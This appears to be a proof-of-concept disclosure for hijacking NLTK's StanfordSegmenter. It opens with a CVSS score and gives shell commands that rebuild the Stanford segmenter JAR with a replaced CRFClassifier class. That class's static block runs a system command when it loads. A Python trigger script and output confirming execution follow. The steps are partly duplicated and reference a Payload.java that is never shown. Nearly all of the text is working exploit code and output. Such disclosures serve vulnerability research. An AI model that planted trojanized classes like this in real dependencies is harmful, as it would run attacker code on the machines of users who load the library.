CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

cd stanford-segmenter-2020-11-17/merged
jar xf ../stanford-segmenter-4.2.0.jar
rm -rf edu/stanford/nlp/ie/crf/CRFClassifier.class

cat << 'EOF' > edu/stanford/nlp/ie/crf/CRFClassifier.java
package edu.stanford.nlp.ie.crf;

public class CRFClassifier {
    static {
        try {
            System.out.println("\nPayload executed — Code ran on class load!\n");
            Runtime.getRuntime().exec("touch /tmp/pwned_hijack");
        } catch(Exception e){}
    }
    public static void main(String[] args){}
}
EOF

javac edu/stanford/nlp/ie/crf/CRFClassifier.java
jar cfm exploit.jar META-INF/MANIFEST.MF *
cp exploit.jar ../stanford-segmenter.jar

mkdir merged && cd merged
javac Payload.java
jar xf ../stanford-segmenter-4.2.0.jar
jar xf ../stanford-corenlp-4.2.0/stanford-corenlp-4.2.0.jar
jar cfm exploit.jar META-INF/MANIFEST.MF *
jar uf exploit.jar Payload.class
cp exploit.jar ../stanford-segmenter.jar
cd ..

# test.py
from nltk.tokenize.stanford_segmenter import StanfordSegmenter

print("[+] Triggering payload via modified Stanford JAR...")

seg = StanfordSegmenter(
    path_to_jar="stanford-segmenter.jar",
    path_to_sihan_corpora_dict="./data/",
    path_to_dict="./data/dict-chris6.ser.gz",
    path_to_model="./data/pku.gz",
    java_class="edu.stanford.nlp.ie.crf.CRFClassifier",
    encoding="utf-8"
)

print("[+] Running segmentation...")
print(seg.segment("我爱自然语言处理"))

[+] Triggering payload via modified Stanford JAR...

Payload executed — Code ran on class load!

[+] Running segmentation...
我 爱 自然语言 处理

ls /tmp | grep pwned_hijack
# pwned_hijack

pip install --upgrade nltk

python -c "import nltk; print(nltk.__version__)"